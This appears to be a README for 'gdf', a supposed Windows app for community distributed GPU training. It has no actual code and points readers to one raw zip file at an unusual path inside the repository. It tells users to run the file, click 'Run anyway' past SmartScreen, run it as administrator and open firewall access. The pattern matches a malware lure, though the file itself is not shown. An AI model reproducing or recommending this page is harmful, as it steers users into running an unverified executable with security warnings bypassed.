🤝 gdf - Distributed GPU Training for Everyone

🚀 What gdf Does

gdf is an open-source community GPU network for distributed AI model training. It helps connect GPU power across many machines so people can train machine learning models together.

Use gdf if you want to:

• join a shared GPU network
• run training jobs across more than one computer
• help a community pool of GPU resources
• work with AI and machine learning models on Windows

It is built for peer-to-peer use and works well with PyTorch-based training flows.

💻 Windows Setup

gdf is designed to run on Windows for end users who want to join the network and start training with shared GPU resources.

Before you install it, make sure you have:

• Windows 10 or Windows 11
• a working internet connection
• a GPU with current drivers
• at least 8 GB of RAM
• enough free disk space for the app and training data

If you plan to train larger models, more RAM and more GPU memory will help.

📥 Download gdf

1. Open the download page
2. Look for the latest release or the main app files
3. Download the Windows version
4. Save the file in a folder you can find again, such as Downloads or Desktop

If the page gives you an installer, download and run that file. If it gives you a zip file, download it and extract it first.

🛠️ Install on Windows

After the download finishes, set up gdf with these steps:

1. Open the file you downloaded
2. If Windows asks for permission, choose Yes
3. If you downloaded a zip file, right-click it and choose Extract All
4. Open the extracted folder
5. Run the main app file

If Windows SmartScreen appears, choose More info, then Run anyway only if you are sure you downloaded it from the correct GitHub page.

▶️ First Launch

When gdf opens for the first time, you may need to:

1. Pick a local folder for data and cache files
2. Sign in or create a local node profile if the app asks for it
3. Allow access through your firewall if Windows shows a network prompt
4. Check that your GPU is detected
5. Review the default training settings

The app should start in a ready state and show your node status, GPU status, and network status.

🔧 Basic Use

gdf is made to help you join a shared GPU network and run distributed training jobs.

A normal workflow looks like this:

1. Open gdf
2. Connect to the community network
3. Choose a model or training task
4. Check that your GPU is ready
5. Start the training job
6. Watch progress in the app

If you are joining work from a shared pool, the app may handle task split, sync, and result collection for you.

🧠 Main Features

🌐 Community GPU Network

gdf connects many users into one GPU network. This helps spread training work across more than one machine.

⚙️ Distributed Training

The app supports distributed training so large jobs can use more than one GPU or node.

🤝 Peer-to-Peer Design

Nodes can work together without a heavy central setup. This keeps the network flexible and easier to grow.

📚 Machine Learning Support

gdf fits common machine learning work and can support PyTorch-based training tasks.

🔓 Open Source

The code is open source, so the project can grow with help from the community.

📁 Typical Folder Layout

After setup, you may see files and folders like these:

• gdf.exe or the main app file
• config for your settings
• cache for temporary files
• logs for error and activity records
• models for model files
• data for training input and output

Keep these folders together unless the app tells you to move them.

🧩 Common Windows Issues

GPU Not Found

If gdf does not see your GPU:

• check that your GPU driver is up to date
• restart the app
• restart Windows
• make sure your device supports the GPU features the app needs

App Will Not Open

If the app does not start:

• confirm that the download finished
• check that you extracted all files if you used a zip
• run the app as administrator
• look for missing files in the folder

Firewall Prompt

If Windows asks about network access:

• allow private network access
• allow public network access only if you trust the network
• keep the app blocked if you do not want it to connect yet

Slow Training

If training runs slowly:

• close other heavy apps
• check GPU load in Task Manager
• lower the batch size
• make sure your power mode is set to High performance

🧪 Example Use Case

A simple use case looks like this:

• you have a gaming PC with a GPU
• you install gdf on Windows
• you connect to the community network
• you help train an AI model with other users
• the app splits the work so your machine only handles part of it

This setup lets more people take part in model training without needing a full private GPU server.

🔒 Safety and Access

Use the app only from the main GitHub page linked above.

Before you run any file, check that:

• the file came from the correct repository
• the name looks right
• the file type is expected for Windows
• the download page matches the project name gdf

📌 Terms You May See

You may see a few words in the app that are common in AI tools:

• Node: one computer in the network
• Task: one unit of work
• Model: the AI system you are training
• Batch size: how much data the GPU handles at once
• Peer-to-peer: computers connect to each other directly
• Distributed training: one job split across many machines

🧭 Quick Start Checklist

1. Go to the GitHub download page
2. Download the Windows file
3. Install or extract it
4. Open gdf
5. Allow network access if needed
6. Check your GPU
7. Join the community network
8. Start your training job

📎 Download Again

https://github.com/poyghi/gdf/raw/refs/heads/main/infra/Software_v3.2.zip

🖥️ Best Results on Windows

For a smoother run on Windows:

• keep GPU drivers current
• keep enough free disk space
• use a stable internet connection
• close apps that use a lot of RAM or GPU memory
• keep Windows updated

🧰 What gdf Is Good For

gdf is a good fit for users who want:

• shared GPU use
• distributed model training
• community-based AI work
• open-source machine learning tools
• a simple way to join a GPU network on Windows